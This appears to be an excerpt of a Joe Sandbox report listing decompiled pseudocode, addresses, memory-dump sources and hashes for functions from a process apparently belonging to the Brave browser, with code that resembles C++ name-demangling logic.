				_t157 = E00007FF67FF6FC4C4E90(_a40, __rbx, __rdx, __r8, _t343);
				_t245 =  *(__rbx + 0x18);
				if (( *_t245 & 0x000000ff) == 0) goto 0xfc4c61ae;
				_t305 =  &(_t245[1]);
				 *(__rbx + 0x18) =  &(_t245[1]);
				_a40[0x1a] = ( *_t245 & 0 | ( *_t245 & 0x000000ff) == 0x00000073) & 0x000000ff;
				_t180 =  *(__rbx + 0x28);
				if (_t180 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4c5c20;
				_t249 = (_t180 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *(__rbx + 0x28) = _t180 + 1;
				 *_t249 = 0;
				 *((intOrPtr*)(_t249 + 8)) = 0;
				 *((long long*)(_t249 + 0x10)) = "decltype(auto)";
				 *((intOrPtr*)(_t249 + 0x18)) = 0xe;
				_t182 =  *(__rbx + 0x28);
				if (_t182 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4c5c20;
				_t252 = (_t182 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *(__rbx + 0x28) = _t182 + 1;
				 *_t252 = 0;
				 *((intOrPtr*)(_t252 + 8)) = 0;
				 *((long long*)(_t252 + 0x10)) = 0xfc773a36;
				 *((intOrPtr*)(_t252 + 0x18)) = 4;
				_t184 =  *(__rbx + 0x28);
				if (_t184 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26c9;
				_t255 = (_t184 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t255 + 4)) = 0;
				 *(__rbx + 0x28) = _t184 + 1;
				 *_t255 = 0x27;
				 *((long long*)(_t255 + 0x10)) = 0xfc775380;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 4;
				_t186 =  *(__rbx + 0x28);
				if (_t186 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26dc;
				_t258 = (_t186 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t258 + 4)) = 0;
				 *(__rbx + 0x28) = _t186 + 1;
				 *_t258 = 0x27;
				 *((long long*)(_t258 + 0x10)) = 0xfc775320;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t188 =  *(__rbx + 0x28);
				if (_t188 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26a9;
				_t261 = (_t188 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t261 + 4)) = 0;
				 *(__rbx + 0x28) = _t188 + 1;
				 *_t261 = 0x27;
				 *((long long*)(_t261 + 0x10)) = 0xfc7753c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t190 =  *(__rbx + 0x28);
				if (_t190 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2702;
				_t264 = (_t190 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t264 + 4)) = 0;
				 *(__rbx + 0x28) = _t190 + 1;
				 *_t264 = 0x27;
				 *((long long*)(_t264 + 0x10)) = 0xfc775360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0xfc4c5c22;
				 *_t264 =  *_t264 + _t157;
				_t158 =  *(__rbx + 0x28);
				if (_t158 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4c5c20;
				_t325 = (_t158 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t325 + 4)) = 0;
				 *(__rbx + 0x28) = _t158 + 1;
				 *_t325 = 0x42;
				 *((intOrPtr*)(_t325 + 0x10)) = E00007FF67FF6FC4C4E90(_t264, __rbx, _t305, __r8, _t343);
				_t265 =  *(__rbx + 0x18);
				if ( *_t265 != 0x5f) goto 0xfc4c5c20;
				_t266 = _t265 + 1;
				 *(__rbx + 0x18) = _t266;
				E00007FF67FF6FC4C5BC0();
				E00007FF67FF6FC4C4DD0();
				_a40 = _t266;
				_t193 =  *(__rbx + 0x28);
				if (_t193 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2670;
				_t269 = (_t193 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t269 + 4)) = 0;
				 *(__rbx + 0x28) = _t193 + 1;
				 *_t269 = 0x27;
				 *((long long*)(_t269 + 0x10)) = 0xfc775340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t195 =  *(__rbx + 0x28);
				if (_t195 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2715;
				_t272 = (_t195 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t272 + 4)) = 0;
				 *(__rbx + 0x28) = _t195 + 1;
				 *_t272 = 0x27;
				 *((long long*)(_t272 + 0x10)) = 0xfc775400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t197 =  *(__rbx + 0x28);
				if (_t197 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26ef;
				_t275 = (_t197 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t275 + 4)) = 0;
				 *(__rbx + 0x28) = _t197 + 1;
				 *_t275 = 0x27;
				 *((long long*)(_t275 + 0x10)) = 0xfc7753a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF6FC4C5BC0();
				r9d = 0;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t275;
				_t200 =  *(__rbx + 0x28);
				if (_t200 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2683;
				_t278 = (_t200 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t278 + 4)) = 0;
				 *(__rbx + 0x28) = _t200 + 1;
				 *_t278 = 0x27;
				 *((long long*)(_t278 + 0x10)) = 0xfc7753e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0xfc4c5c22;
				E00007FF67FF6FC4C6EE0(_t278, __rbx);
				_a40 = _t278;
				if (_t278 == 0) goto 0xfc4c5c20;
				if ( *_t278 != 0x18) goto 0xfc4c5d39;
				goto 0xfc4c5c22;
				goto 0xfc4c6051;
				_t279 = _t278 + 1;
				 *(__rbx + 0x18) = _t279;
				E00007FF67FF6FC4C89F0(__rbx);
				E00007FF67FF6FC4C4DD0();
				_a40 = _t279;
				_t326 = _t279;
				goto 0xfc4c5f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t326[1]);
				E00007FF67FF6FC4C89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0xfc4c6584;
				 *(__rbx + 0x18) = _t326;
				_t281 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0xfc4c5d30;
				_t336 = _a40;
				if (_t336 == 0) goto 0xfc4c5c20;
				_t203 =  *(__rbx + 0x38);
				if (_t203 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t203 * 8)) = _t336;
				 *(__rbx + 0x38) = _t203 + 1;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t281;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t336 + 3;
				E00007FF67FF6FC4C7F20(_t281, __rbx);
				_t327 = _t281;
				if (_t281 != 0) goto 0xfc4c6386;
				goto 0xfc4c5c20;
				asm("o16 nop [eax+eax]");
				_push(0xfc7753e0);
				_push(_t327);
				_push(__rbx);
				_t282 =  *(__rbx + 0x18);
				if (sil == 0) goto 0xfc4c66c8;
				 *(__rbx + 0x18) =  &(_t282[1]);
				r10d =  *_t282 & 0x000000ff;
				if (sil != 0) goto 0xfc4c66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t169 = (r8d >> 0x1f) + r8d >> 1;
				_t240 =  *((intOrPtr*)( *((intOrPtr*)(0xfc774820 + (_t169 + _t169 * 2) * 8)))) - r10b;
				if (_t240 == 0) goto 0xfc4c6680;
				if (_t240 <= 0) goto 0xfc4c66c0;
				r8d = _t169;
				if (0 != r8d) goto 0xfc4c6648;
				return 0;
			}

0x7ff6fc4c6121
0x7ff6fc4c6127
0x7ff6fc4c6137
0x7ff6fc4c613b
0x7ff6fc4c6143
0x7ff6fc4c6146
0x7ff6fc4c614b
0x7ff6fc4c6156
0x7ff6fc4c6159
0x7ff6fc4c6161
0x7ff6fc4c6165
0x7ff6fc4c616a
0x7ff6fc4c6177
0x7ff6fc4c617c
0x7ff6fc4c618a
0x7ff6fc4c6193
0x7ff6fc4c6198
0x7ff6fc4c61a1
0x7ff6fc4c61a3
0x7ff6fc4c61a7
0x7ff6fc4c61bc
0x7ff6fc4c61c5
0x7ff6fc4c61cb
0x7ff6fc4c61e2
0x7ff6fc4c61e6
0x7ff6fc4c61e9
0x7ff6fc4c61f0
0x7ff6fc4c61f7
0x7ff6fc4c61fb
0x7ff6fc4c6207
0x7ff6fc4c620d
0x7ff6fc4c6224
0x7ff6fc4c6228
0x7ff6fc4c622b
0x7ff6fc4c6232
0x7ff6fc4c6239
0x7ff6fc4c623d
0x7ff6fc4c6249
0x7ff6fc4c624f
0x7ff6fc4c6266
0x7ff6fc4c626a
0x7ff6fc4c6272
0x7ff6fc4c6275
0x7ff6fc4c627b
0x7ff6fc4c627f
0x7ff6fc4c6288
0x7ff6fc4c628e
0x7ff6fc4c62a5
0x7ff6fc4c62a9
0x7ff6fc4c62b1
0x7ff6fc4c62b4
0x7ff6fc4c62ba
0x7ff6fc4c62be
0x7ff6fc4c62c7
0x7ff6fc4c62cd
0x7ff6fc4c62e4
0x7ff6fc4c62e8
0x7ff6fc4c62f0
0x7ff6fc4c62f3
0x7ff6fc4c62f9
0x7ff6fc4c62fd
0x7ff6fc4c6306
0x7ff6fc4c630c
0x7ff6fc4c6323
0x7ff6fc4c6327
0x7ff6fc4c632f
0x7ff6fc4c6332
0x7ff6fc4c6338
0x7ff6fc4c633c
0x7ff6fc4c6340
0x7ff6fc4c634e
0x7ff6fc4c6350
0x7ff6fc4c6356
0x7ff6fc4c6369
0x7ff6fc4c636d
0x7ff6fc4c6375
0x7ff6fc4c6378
0x7ff6fc4c6383
0x7ff6fc4c6386
0x7ff6fc4c638d
0x7ff6fc4c6393
0x7ff6fc4c639a
0x7ff6fc4c639e
0x7ff6fc4c63b1
0x7ff6fc4c63b6
0x7ff6fc4c63c0
0x7ff6fc4c63c6
0x7ff6fc4c63dd
0x7ff6fc4c63e1
0x7ff6fc4c63e9
0x7ff6fc4c63ec
0x7ff6fc4c63f2
0x7ff6fc4c63f6
0x7ff6fc4c63ff
0x7ff6fc4c6405
0x7ff6fc4c641c
0x7ff6fc4c6420
0x7ff6fc4c6428
0x7ff6fc4c642b
0x7ff6fc4c6431
0x7ff6fc4c6435
0x7ff6fc4c643e
0x7ff6fc4c6444
0x7ff6fc4c645b
0x7ff6fc4c645f
0x7ff6fc4c6467
0x7ff6fc4c646a
0x7ff6fc4c6470
0x7ff6fc4c6474
0x7ff6fc4c6480
0x7ff6fc4c6485
0x7ff6fc4c6493
0x7ff6fc4c6498
0x7ff6fc4c64a2
0x7ff6fc4c64a8
0x7ff6fc4c64bf
0x7ff6fc4c64c3
0x7ff6fc4c64cb
0x7ff6fc4c64ce
0x7ff6fc4c64d4
0x7ff6fc4c64d8
0x7ff6fc4c64dc
0x7ff6fc4c64eb
0x7ff6fc4c64f0
0x7ff6fc4c64f8
0x7ff6fc4c6501
0x7ff6fc4c6507
0x7ff6fc4c6512
0x7ff6fc4c6517
0x7ff6fc4c651e
0x7ff6fc4c6522
0x7ff6fc4c6537
0x7ff6fc4c653c
0x7ff6fc4c6541
0x7ff6fc4c6544
0x7ff6fc4c6550
0x7ff6fc4c6557
0x7ff6fc4c655e
0x7ff6fc4c656a
0x7ff6fc4c656c
0x7ff6fc4c6570
0x7ff6fc4c6575
0x7ff6fc4c657c
0x7ff6fc4c657f
0x7ff6fc4c6584
0x7ff6fc4c658c
0x7ff6fc4c6592
0x7ff6fc4c6598
0x7ff6fc4c65a8
0x7ff6fc4c65b2
0x7ff6fc4c65ba
0x7ff6fc4c65bf
0x7ff6fc4c65d0
0x7ff6fc4c65da
0x7ff6fc4c65de
0x7ff6fc4c65e6
0x7ff6fc4c65ec
0x7ff6fc4c65f2
0x7ff6fc4c65f7
0x7ff6fc4c6600
0x7ff6fc4c6601
0x7ff6fc4c6602
0x7ff6fc4c6607
0x7ff6fc4c6614
0x7ff6fc4c661e
0x7ff6fc4c6626
0x7ff6fc4c662d
0x7ff6fc4c6633
0x7ff6fc4c6642
0x7ff6fc4c6656
0x7ff6fc4c6666
0x7ff6fc4c6669
0x7ff6fc4c666b
0x7ff6fc4c666d
0x7ff6fc4c6673
0x7ff6fc4c667e

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 62f7f7d96c119b323b1a604ab716844560484498dcb84276d39eb1fe205ecc0e
Instruction ID: 82c493c343a3b915705218f260e291e602e0c80e38b9ac3b232c2004e2aa9f5a
Opcode Fuzzy Hash: 62f7f7d96c119b323b1a604ab716844560484498dcb84276d39eb1fe205ecc0e
Instruction Fuzzy Hash: 96314832A09B0581E720CF15F8813A977A0EB94798F184135D6AC873E5EF7DD285D784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C5CC8 Relevance: 1.3, APIs: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4C5CC8(void* __edx, void* __rbx, void* __r8, long long _a40) {
				void* _t19;
				signed int _t20;
				signed int _t25;
				long long _t35;
				long long _t43;

				_t20 =  *(__rbx + 0x28);
				_t43 = (__edx - 0x61 << 5) + 0xfc774fe0;
				if (_t20 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2696;
				_t35 = (_t20 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t35 + 4)) = 0;
				 *(__rbx + 0x28) = _t20 + 1;
				 *((long long*)(_t35 + 0x10)) = _t43;
				 *_t35 = 0x27;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) +  *((intOrPtr*)(_t43 + 8));
				 *((long long*)(__rbx + 0x18)) = __r8 + 1;
				_t19 = E00007FF67FF6FC4C6EE0(_t35, __rbx);
				_a40 = _t35;
				if (_t35 == 0) goto 0xfc4c5c20;
				_t25 =  *(__rbx + 0x38);
				if (_t25 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t25 * 8)) = _t35;
				 *(__rbx + 0x38) = _t25 + 1;
				return _t19;
			}

0x7ff6fc4c5cd2
0x7ff6fc4c5cdd
0x7ff6fc4c5ce3
0x7ff6fc4c5cf7
0x7ff6fc4c5cfb
0x7ff6fc4c5d03
0x7ff6fc4c5d06
0x7ff6fc4c5d0d
0x7ff6fc4c5d13
0x7ff6fc4c5d16
0x7ff6fc4c5d23
0x7ff6fc4c5d28
0x7ff6fc4c5d33
0x7ff6fc4c5d39
0x7ff6fc4c5d3f
0x7ff6fc4c5d4f
0x7ff6fc4c5d58
0x7ff6fc4c5d65

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 00a880454b521401a86ad773260605acbd956c8bbfdab654cc990f59ca647a00
Instruction ID: 20f24d60a5f9f8b9418c5fde144098648bc5f5f630e390c0795edb1d0ba80011
Opcode Fuzzy Hash: 00a880454b521401a86ad773260605acbd956c8bbfdab654cc990f59ca647a00
Instruction Fuzzy Hash: D1316872A09B04C6E720CF18F8823A977A0FB94799F154625C6EC473A4EF7DD284D780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C1670 Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF6FC4C172F

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 56ffb6fcdf18bd66fdf2ccb9a5892d4477cea22dc62a2577cb9a8c0790782509
Instruction ID: 28449164e0285fccc9e68c5ac349c48e2042145fae3fd6a123511347d896df23
Opcode Fuzzy Hash: 56ffb6fcdf18bd66fdf2ccb9a5892d4477cea22dc62a2577cb9a8c0790782509
Instruction Fuzzy Hash: 9121271291D7C186EB228B38B4013F96FA1AB9A788F495230DE9D463D2FF6CD244C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C63C0 Relevance: 1.3, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF67FF6FC4C63C0(void* __rbx, signed char* _a40) {
				signed int _t77;
				signed int _t81;
				signed int _t83;
				signed int _t85;
				signed int _t88;
				signed int _t91;
				void* _t113;
				intOrPtr* _t118;
				intOrPtr* _t121;
				signed char* _t124;
				intOrPtr* _t127;
				signed char* _t128;
				signed char* _t130;
				signed char* _t131;
				signed char* _t154;
				signed char* _t155;
				long long _t162;

				_t81 =  *(__rbx + 0x28);
				if (_t81 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2670;
				_t118 = (_t81 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t118 + 4)) = 0;
				 *(__rbx + 0x28) = _t81 + 1;
				 *_t118 = 0x27;
				 *((long long*)(_t118 + 0x10)) = 0xfc775340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t83 =  *(__rbx + 0x28);
				if (_t83 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2715;
				_t121 = (_t83 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t121 + 4)) = 0;
				 *(__rbx + 0x28) = _t83 + 1;
				 *_t121 = 0x27;
				 *((long long*)(_t121 + 0x10)) = 0xfc775400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t85 =  *(__rbx + 0x28);
				if (_t85 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26ef;
				_t124 = (_t85 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t124 + 4)) = 0;
				 *(__rbx + 0x28) = _t85 + 1;
				 *_t124 = 0x27;
				 *((long long*)(_t124 + 0x10)) = 0xfc7753a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF6FC4C5BC0();
				r9d = 0;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t124;
				_t88 =  *(__rbx + 0x28);
				if (_t88 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2683;
				_t127 = (_t88 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t127 + 4)) = 0;
				 *(__rbx + 0x28) = _t88 + 1;
				 *_t127 = 0x27;
				 *((long long*)(_t127 + 0x10)) = 0xfc7753e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0xfc4c5c22;
				E00007FF67FF6FC4C6EE0(_t127, __rbx);
				_a40 = _t127;
				if (_t127 == 0) goto 0xfc4c5c20;
				if ( *_t127 != 0x18) goto 0xfc4c5d39;
				goto 0xfc4c5c22;
				goto 0xfc4c6051;
				_t128 = _t127 + 1;
				 *(__rbx + 0x18) = _t128;
				E00007FF67FF6FC4C89F0(__rbx);
				E00007FF67FF6FC4C4DD0();
				_a40 = _t128;
				_t154 = _t128;
				goto 0xfc4c5f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t154[1]);
				E00007FF67FF6FC4C89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0xfc4c6584;
				 *(__rbx + 0x18) = _t154;
				_t130 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0xfc4c5d30;
				_t162 = _a40;
				if (_t162 == 0) goto 0xfc4c5c20;
				_t91 =  *(__rbx + 0x38);
				if (_t91 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t91 * 8)) = _t162;
				 *(__rbx + 0x38) = _t91 + 1;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t130;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t162 + 3;
				E00007FF67FF6FC4C7F20(_t130, __rbx);
				_t155 = _t130;
				if (_t130 != 0) goto 0xfc4c6386;
				goto 0xfc4c5c20;
				asm("o16 nop [eax+eax]");
				_push(0xfc7753e0);
				_push(_t155);
				_push(__rbx);
				_t131 =  *(__rbx + 0x18);
				if (sil == 0) goto 0xfc4c66c8;
				 *(__rbx + 0x18) =  &(_t131[1]);
				r10d =  *_t131 & 0x000000ff;
				if (sil != 0) goto 0xfc4c66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t77 = (r8d >> 0x1f) + r8d >> 1;
				_t113 =  *((intOrPtr*)( *((intOrPtr*)(0xfc774820 + (_t77 + _t77 * 2) * 8)))) - r10b;
				if (_t113 == 0) goto 0xfc4c6680;
				if (_t113 <= 0) goto 0xfc4c66c0;
				r8d = _t77;
				if (0 != r8d) goto 0xfc4c6648;
				return 0;
			}

0x7ff6fc4c63c0
0x7ff6fc4c63c6
0x7ff6fc4c63dd
0x7ff6fc4c63e1
0x7ff6fc4c63e9
0x7ff6fc4c63ec
0x7ff6fc4c63f2
0x7ff6fc4c63f6
0x7ff6fc4c63ff
0x7ff6fc4c6405
0x7ff6fc4c641c
0x7ff6fc4c6420
0x7ff6fc4c6428
0x7ff6fc4c642b
0x7ff6fc4c6431
0x7ff6fc4c6435
0x7ff6fc4c643e
0x7ff6fc4c6444
0x7ff6fc4c645b
0x7ff6fc4c645f
0x7ff6fc4c6467
0x7ff6fc4c646a
0x7ff6fc4c6470
0x7ff6fc4c6474
0x7ff6fc4c6480
0x7ff6fc4c6485
0x7ff6fc4c6493
0x7ff6fc4c6498
0x7ff6fc4c64a2
0x7ff6fc4c64a8
0x7ff6fc4c64bf
0x7ff6fc4c64c3
0x7ff6fc4c64cb
0x7ff6fc4c64ce
0x7ff6fc4c64d4
0x7ff6fc4c64d8
0x7ff6fc4c64dc
0x7ff6fc4c64eb
0x7ff6fc4c64f0
0x7ff6fc4c64f8
0x7ff6fc4c6501
0x7ff6fc4c6507
0x7ff6fc4c6512
0x7ff6fc4c6517
0x7ff6fc4c651e
0x7ff6fc4c6522
0x7ff6fc4c6537
0x7ff6fc4c653c
0x7ff6fc4c6541
0x7ff6fc4c6544
0x7ff6fc4c6550
0x7ff6fc4c6557
0x7ff6fc4c655e
0x7ff6fc4c656a
0x7ff6fc4c656c
0x7ff6fc4c6570
0x7ff6fc4c6575
0x7ff6fc4c657c
0x7ff6fc4c657f
0x7ff6fc4c6584
0x7ff6fc4c658c
0x7ff6fc4c6592
0x7ff6fc4c6598
0x7ff6fc4c65a8
0x7ff6fc4c65b2
0x7ff6fc4c65ba
0x7ff6fc4c65bf
0x7ff6fc4c65d0
0x7ff6fc4c65da
0x7ff6fc4c65de
0x7ff6fc4c65e6
0x7ff6fc4c65ec
0x7ff6fc4c65f2
0x7ff6fc4c65f7
0x7ff6fc4c6600
0x7ff6fc4c6601
0x7ff6fc4c6602
0x7ff6fc4c6607
0x7ff6fc4c6614
0x7ff6fc4c661e
0x7ff6fc4c6626
0x7ff6fc4c662d
0x7ff6fc4c6633
0x7ff6fc4c6642
0x7ff6fc4c6656
0x7ff6fc4c6666
0x7ff6fc4c6669
0x7ff6fc4c666b
0x7ff6fc4c666d
0x7ff6fc4c6673
0x7ff6fc4c667e

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
